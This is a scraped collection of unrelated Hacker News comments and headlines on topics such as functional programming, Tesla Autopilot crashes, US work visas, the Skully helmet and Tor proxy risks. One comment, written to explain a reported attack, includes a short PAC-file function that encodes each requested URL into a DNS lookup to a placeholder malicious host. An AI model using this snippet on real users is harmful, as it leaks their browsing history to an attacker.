skysight-inc/HackerNews huggingface dataset:
> I think the relevant question is whether functional programmers, not all programmers, regularly leverage the lightweight equational reasoning, refactoring, and context-independent behavior that is available with purely functional programming. I believe most do.

This begs the question of who is a functional programmer, and how typical are they? I know a few FP programmers who are able to stay in the abstract world for a long time, thinking symbolically, equationally, and don't need petty things like concrete examples (most of the members of WGFP, for example). Then there is the rest of us!

> In a programming model without side-effects, it is necessarily the case that all 'effects' are modeled in the call-return behavior. The type signature, too, for a strongly typed language.

You can always default to World -> World in a pure language, and ya...technically you don't have side effects anymore, but for all practical purposes you do! For this to be useful at all, you have to keep your effects fine grained, and for functions that call other functions (like a general ForEach), effects have to be parametric as well, or you wind up polluting everything (or worse, being unable to express something).

Pure FP culminates from a bunch of experience in the 70s (I'm not talking about Lisp), which happens to be where OO came from as well. Pure OO doesn't really make sense...OO can't be pure but rather organic.
Errr... yes it does. A runway is empty space. There are no other planes on it, it's a straight, well-maintained stretch of pavement, kept clear of ice and snow, with clear markings. Those are conditions so easy that non-self-driving cars can manage to navigate them for non-trivial periods of time without hitting anything! The Mythbusters have had a couple of cars go entirely out of control a couple times under those circumstances and the damage was a fence, once, IIRC.
Now on Android turn on night mode to Tweet in the dark
This is just nerd candy right? I mean facebook is in the same business as google when it comes to what the business model is based on. Get people to pull levers in a virtual casino and sell the resulting statistics to advertisers. The surprising thing is that I think it actually works. New graduates will be lining up to work on projects like this and then end up debugging shitty PHP.
Engineering is the profession of solving business problems by justifiably selecting amongst alternatives in a technological solution space bounded by economic and ethical constraints.

I am a software engineer.

And as it happens I work for a famously, even notoriously, doctrinaire agile company: Pivotal. Which is the first place I've worked which actually felt like I'm engineering instead of coding.
Maybe Apple has stopped innovating, but Windows is just not there for developers, not even close to what Mac has been ~3 years ago.

Saying this from recent personal experience.
> That looks a tad like fear mongering.

Please be specific. What is the fear mongering? It is a statement from someone educated as an engineer and trained as an engineer.

Engineering, whether it is designing buildings, cars, airplanes, is thinking through the scenarios and testing for them. This seems to be a situation where they were ruling out overhead signs, but because of trucks clearance of these signs would be well over 10 feet and they could check for anything under 10 feet or 8 feet and should have.

And, as I said before, if they didn't think this through, what else that we can't see are they not thinking through?
I see where you're coming from but couldn't disagree more. In a balanced world, there is no such thing as a primary caregiver—both parents are equally responsible. A company should be completely agnostic with regards to who is giving what care to the child and when.
That obstacle was only on the road because it was an intersection. It is extremely unlikely that a truck would be in a similar position on a hypothetically Tesla approved autopilot road unless an accident occurred directly in front of you and Tesla likely has other ways of detecting such an accident. It is similar to if someone was using autopilot and drove through a red light and was t-boned. It isn't a good look for Tesla, but I can't fault them for not preventing the crash when the car was clearly being used under conditions they recommend against.
Facebook admits its algorithms blocked links to Wikileaks's DNC emails
You're not in favor of sarcasm either. It's the more fun way of demonstrating the danger of professional bodies.
I briefly tried to find a source and could not, but I seem to remember Musk making some statement re. the Model X that supplier delays were an issue for Tesla and he desired to be able to manufacture more components in-house.

While the chips wouldn't be moved in-house, I wonder if the fact that this chip is related to the self-driving technology is just a coincidence: perhaps this is to switch to another vendor that might fit better into the Tesla supply chain.
It's clear to me that the auto steer technology is pretty far from an "auto pilot", but the drivers are not making the distinction.

I think that semi-automatic systems like this are fundamentally broken due to unrealistic expectations in the man-machine interface.

There is virtually no chance that the driver will be alert and able to detect and correct problems after hours of uneventful driving, including previous driving.

Even if the auto assist feature signals that it is confused, there is probably very little the driver can do until it's too late.

One example is the AF 443 crash where the auto pilot disengaged due to a significant but not immediately threatening mechanical problem, and the pilot (flying) got so distressed that instead of following the check lists (memory item even) he more or less just dropped out of the sky in a massive stall that took about 2 minutes.

I digress but a speculation is that in that particular case, the pilot was not helped by the fact that the airplane changed the input mode (or "law") as the sensor data was not complete due to same problem - the pilot's input was nominally consistent with the normal flight law but was in reality inducing a fatal stall.
China seeks to eradicate 'vile effect' of independent journalism
Stress Almost Killed Me – Then I Changed My Mind (2014)
I have also been surprised that streets/highways aren't being whitelisted, and I wouldn't be surprised if we start to see that as autonomous vehicles become more mainstream.

I can imagine a system that does not allow autonomous driving on roads that have not been surveyed in, say, the last 24 hours by either another sensor equipped vehicle or perhaps a drone. When planning a route, the autonomous driver would either plan around a road that had not been surveyed within that time frame or plan a place to stop and ask the driver to take over well ahead of time.
'Member of the Technical Staff' was traditionally the only job title at Bell Labs; it didn't matter if you were a technician or director, you had the same job title.
I will try it now that you have linked to it. Email if you want to compare notes. :)
It's not that easy to move to the US. The only viable pathway for a skilled/educated person to immigrate to the U.S. is a work visa, which most commonly is the H-1B visa.

One would have to win the H-1B lottery (~25% odds), find a job in February/March/April of a year; find a company that is willing to wait for 6-8 months, and move to the U.S. in October (if they win the lottery).

In tech today (esp. in the Bay Area of NYC), it won't be that hard to find a job and a company willing to apply for the visa and wait for 6-8 months, if you can show you're a good programmer -- but there's no way to avoid the lottery.
I remember reading https://blog.skully.com/delivering-on-our-promise/ just last week !
Software Developers don't have one because there's so much money being thrown at them, and its increasing fast enough, that they don't feel the need to siphon any of it off for a professional organization.
I'm a Skully helmet owner. I've had it about six weeks (although only three weeks of usage as I was on a long vacation). I picked up my helmet directly from employees at a Skully HQ BBQ release event for the first batch of non beta testers, so I met a lot of them. They are a good bunch, and obviously put in a lot of effort, and found success, on a difficult and audacious endeavor. I feel sad for them.

I'm still quite happy with my helmet. The battery life seems to not be as good as I hoped (maybe 2-3 hours) but not a big deal as my commute is under 15 minutes.

The software is definitely beta level, but not too surprising, and software is relatively easy to improve. I had very early on figured out a vector to load my own firmware onto the helmet (it's basically request with a response that points to a tarball of an android system that the helmet will download and install). I hadn't actually tried it yet, but I suppose now that's the only way to get improvements.

If any other hackers would like to collaborate on improving the software, or other owners would like to commiserate, I created a face book group Skully Owners:

https://www.facebook.com/groups/269680180066362/
Mexican indigenous groups form co-op phone company to serve 356 municipalities
FR4 Machine Shield -The CNC Kit from an Entire Sheet of PCB
Thank you for clarifying. I appreciate the thoughtful response.
There's more to landing than taxiing on the runway, like approaching the ground at a minimum of 250 km/h while getting hit by winds, often with very little visibility.
Apparently, the car is oblivious to trailers parked across the road, so it seems unlikely that there are "other ways."
On the plus side, they didn't break the scrolling.
> say they HAVE to give these multi-day long technical screens with multiple homework assignments?

The only logical explanation I can this for this is because HR has to find something for itself to do.

Is there any evidence to suggest that requiring mutli-day technical screens reduces the rate of bad hires?
It was broken a couple minutes ago. I'll add a link to the picture I took in a bit.
> You seem to have fixated on one word in my comment and are arguing against creationism.

Well, I would argue that the vibe of your whole comment was coherent in that sense: you talked about what nature wanted, about design and about what kind of stuff would make sense while looking at it from a architect perspective.

It's a very odd way to look at it if you have no creationist conception of it all to be honest.

As for your point that not everything has an evolutionary advantage, I agree. Deafness and blindness exist after all.

But I don't really see your point as far as proposing hypotheses to account for certain prevalent traits, which, in my opinion, is what the original content was about (the grandmother hypothesis).
Who are you? Why do you think you can speak with such authority?
Iran destroys 100,000 moral-corrupting satellite dishes
That's the quarter capitalist point of view.

The brand adoption cycle goes from Professional -> Prosumer -> Consumer. If you lose the pro market you lose brand equity that makes you a premium brand. Then, you eventually lose the consumer market and start cutting costs and prices to keep up.
I've explained here how hard it is here: https://news.ycombinator.com/item?id=12169640 (The U.S. is quite hostile to employment-based immigration, and probably among the hardest countries to move to for a non-family non-refugee immigrant.)

Also: have noticed the sheer amount of sickening hatred of immigrants in this thread? These entitled pricks think that they're the only ones deserving of an opportunity to live and work in the US (because they were "born here"), and they think everyone else should be kept out. It continues to amaze me how much contempt and hatred there is for immigrants, here on HN.
Adobe's XD is coming to Windows within a month or two. It appears to be a good alternative clone of Sketch. http://www.adobe.com/products/experience-design.html

(As a primary Windows person, Sketch is one of the things I do envy about having an OS X computer!)
Parkinson's tremors reduced by glove built by student
I don't understand. This is just CSS in JavaScript, and writing themes on elements, sans classes.
EDIT: Sorry, you're right, the browser would need a secure way to check this, which it currently doesn't.

This is not true; a .onion address is also a fingerprint of the public key of the node, so even if the connection is hijacked, the other node won't be able to authenticate itself.
I guess that's true. I'm not saying an 8-mile commute and a $30k car is where the line is either, though. That was just my situation roughly, and Uber wasn't a little less expensive, it was a LOT less expensive. Like, roughly 60% less expensive than owning the car when you factor in things like tread wear, depreciation, and the value of your time. And that's with no lease, no loan, and minimal insurance.

The true line right now (where car ownership becomes more expensive than Uber) based on my experience is probably closer to an 8-mile commute and a $15k car. That line gets much lower when you add in things like financing, overpriced insurance, and leasing, which do affect a majority of the population.

I should actually do a writeup about this. I have access to all my numbers on it but I've only ever done rough estimates (which were clear enough that choosing Uber/Lyft was obvious). Now I'm curious to see exactly how the costs compared.
From the description in the article, I guess the attack might use a PAC file like the following

function FindProxyForURL(url, host) {
return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
}

Then the attacker can look at his/her DNS server query log and figure out the URL.
But then wouldn't it make more sense to have a darker background instead of lighter text?
I wouldn't use cruise control in tight areas, and I get extra attentive maneuvering around trucks. I wouldn't be surprised if Autopilot gets modified so that it locks-out in these precarious circumstances.
My point was I would like to switch to Windows if I had the choice. This doesn't look like it's solving my problem. You still need to use mac.
The effects of a nuclear attack on the Rio Grande Valley (1983)
Ask HN: Career advice for a family member?
My uncle is in his 50's. He graduated with a B.S. in EE and went into sales, where he excelled. About 6 years ago he got laid off and has been struggling to find a job-- he can't even get interviews despite a stellar resume. He went through some health problems and what not but continues to apply to jobs. Despite the fact that he was at director level in his past jobs, he is open to entry level jobs in sales/marketing. What should he do?
The surprise is that Woz isn't the one that got Jobs interested in electronics.
I wonder how much of a role https://www.toosheh.org/ plays in this decision. Toosheh buys satellite time (funding source: intentionally ambiguous) to transmit curated western media to Iranians.
Yup, as someone who works with him...I can indeed confirm that he does in fact work for ARM Ltd. :)
Recent Graduates do not have the experience for companies to risk going through the hassle of getting visa in america.

The way it works it seems is that companies are willingly to take the risk if you have proven yourself very well outside of america.
I wouldn't be surprised if it's generally categorized as either Bizdev or Teambuilding, and thus prevalidated as a run-of-the-mill expenditure (not a technical term). Holiday party type stuff.
To be fair, not getting a CS degree (even if you want to code) has been fairly popular advice for a while now.
Learn to Draw Now
> Installing Python and Ruby can…

Huh, like next, next, finish?
Which the browser can't validate if it just talks HTTP to a proxy that connects to Tor (or a malicious proxy instead), as the parent post described. Doesn't apply to all Tor setups, but it's a risk.
>There is no real competitor that I've seen in the phone and tablet space

If you haven't seen them, you haven't looked. Google, Samsung, Huawei, etc. Android is dominating Apple in market share at this point. Apple is making great margins still, but they are not without legit competitors and have not been for years.
Thanks for commenting on the structure of the investigation - having skimmed dozens of NTSB plane crash reports and digging deep into a few (ex: RAR P-51) I'm very, very impressed with their diligence.
That'd be an interesting data point, if iPhone sales hadn't collapsed by 15% in the quarter. As such it sounds like nothing but spin and entirely hollow.
The real question is why not!
> No linkedin or big social media at the time

https://en.wikipedia.org/wiki/Fucked_Company
But a prank is always at the target's expense. You are hurting, at the very least, their ego and/or pride. Or you are startling them, or surprising them (unpleasantly).

That's the difference between a joke and a prank. A joke is told. A prank is done to someone.
I wouldn't agree. Innovation for portable laptop/tablet form factors had been slow for quite some time, but I think there's a small uptick again. Everything from the Razer Blade which supports a external dGPU to devices like Microsoft's Surface Pro 4 and Surface Book are pretty exciting.

On other fronts, $99 "laptop containers" which utilize your smartphone's computing power are popping up:

SuperBook: https://www.kickstarter.com/projects/andromium/the-superbook...

NexDock: http://nexdock.com/

And finally: $250 Chromebooks have started to get so good that it's actually viable replacement for a large portion of people who do most of their work in a browser anyways!
> Don't be envious of the other engineering disciplines. They envy us.

They shouldn't. Our work is deplorable. Any non-trivial internal codebase would probably give any mathematically savvy engineer nightmares for days. If our office buildings were designed as needlessly hastily the software designed inside them, having our tech hub in an earthquake hotspot would be a serious issue.

Yes, there is something to be said about the convenience of our "agile"/rapid-development cycle, but it's not like we use that power responsibly. We have enough decades-old codebases that have been in a perpetual state of 'fragile legacy-code' since they were first written, that prove that we don't take our designs seriously enough to improve them despite all our conveniences. If building engineers suddenly had access to some magical 'easy-bake oven' for building skyscraper MVP's and making 'agile' changes, I know I'd be concerned, looking back at our track record with software.
If it stopped the car from going under @ 74MPH, odds are the passenger would still have died. I doubt they're build to withstand that much energy, though.
Interesting because they made it sound pretty horrific.
The short list of jobs with high and rising pay
The greatest thing they offer is a guaranteed number of views for your game.
Yeah, so in this video of at 4 mins 25 seconds they show floppy disks to the kids https://www.youtube.com/watch?v=PF7EpEnglgk

The younger ones don't seem to know what one is, but the older ones do.
Then my friendly advice is to add an "/s" after your comment so that you leave no doubt about the interpretation.
Most people - including analysts - bought into the hype that nearly every person on earth would have a smartphone soon.

Instead, smartphone sales growth has fallen down to practically nothing globally. Apple is already missing the last growth wave, which is mostly made up of very cheap Android phones in India and China.

Those people also bought into the notion that Apple was going to dominate China, because of their early success there. It was talked up non-stop by Tim Cook. Instead, China will become an epic disaster for Apple, as they melt market share endlessly to nationalism and protectionism. The Chinese will only get more aggressive with Apple as the iPhone gets weaker as a product inside of China.
Just because you're an engineer doesn't make all of your arguments automatically correct. I've got the word "Engineer" in my job title but I don't beat people over the head with it when I want to make an argument for a technical position.

It's not like they haven't thought this through. Tesla has been clear that this is a Driver Assistance, not a full autonomous car. There are multiple warnings, including every time you enable auto pilot that makes it clear you must pay attention.

This accident while tragic from current reports looks like the driver was not paying attention to the road. The best way that we're going to get to fully autonomous cars is to collecting real world data and I think auto pilot has been a reasonable approach in that direction.
Scala Days Berlin: Martin Odersky Keynote
> Imagine where we'd be as a civilization if everyone had the those opportunities.

Exactly. You have to wonder how many Einsteins we've had over the centuries/millennia that never even learned to read.
Anyone who actually and seriously (more than 30min per day in diffetrnt conditions) knows this is a gimmick. Visual focus on your enviornment is priority one, the HUD is distracting unless done very carefully. I was thnking of getting one to test but after meeting some of their exec team and senior management decided against it. Honestlly not surprised but sad to hear it for the rank and file enginner who genuinely believed in creating this product.
Yes, iPhone is also down because of incredible demand last year for the larger handsets. So this year, it is back down slightly below normal, but should even out next year.
Yeah I think that's the thing that doesn't make sense to many motorcyclists including myself. A helmet is a personal item and you want the fit, noise level, airflow, and features that suit you exactly, especially if you ride daily. Skully could have had interesting standalone technology (could have had, but actually didn't) but it's nuts to marry that to a helmet since that dramatically narrows the market only to people who want that exact kind of helmet. An add-on makes so much more sense.

People who are willing to spend a lot of money on helmets would never have gone for Skully's "meh" helmet with expensive tech inside.

That and it's a stupid idea. Honestly who wants to sysadmin their helmet?
So you've never had to do byte code manipulation or other weird things like another commentor said?
Could you expound on that? What's missing, besides a bash shell?
Can we safely assume that anything 1024 bit RSA is now compromisable given the resources of a federal government?
Great for Movies and TV, and a lot easier to handle at moving time.
So, is the answer to just bail on Java forever? I haven't written anything legitimate in Java in about two years, but I don't remember it being that bad.

For reference, what types of languages/frameworks do you like to work with?
I'm pretty sure the opposite is true. It's much easier for a recent CS graduate to get a job offer in the US, than for anyone else.

But I agree somewhat, that software engineering is not the field, where you are likely to be able to have a career.
Distributed scikit-learn and pandas
I'm not being a proponent of LIDAR. I'm trying to explain the difference between interpreting 2D visual data as 3D and what a device like LIDAR does. RADAR does work in rain and fog.
Usually they will just get a cease and desist.

If they are profiting off their work to the extent that it actually makes business sense for the game company to sue them for damages, then that is the action they can expect to get.
Jeff Bezos on New Defense Innovation Advisory Board Now
There are some legitimate reasons to use state, and I would argue that an HOC is legitimately one of them. (In fact fundamentally that is what redux's connect function really is)
HOPE XI Conference Talks
The stagnation of progress in computing power is going to commoditize operating systems and software in general, so if you stick with Apple for another few years then the costs of switching away will probably be lower.
Win 10 has bash shell and full Ubuntu apt-get now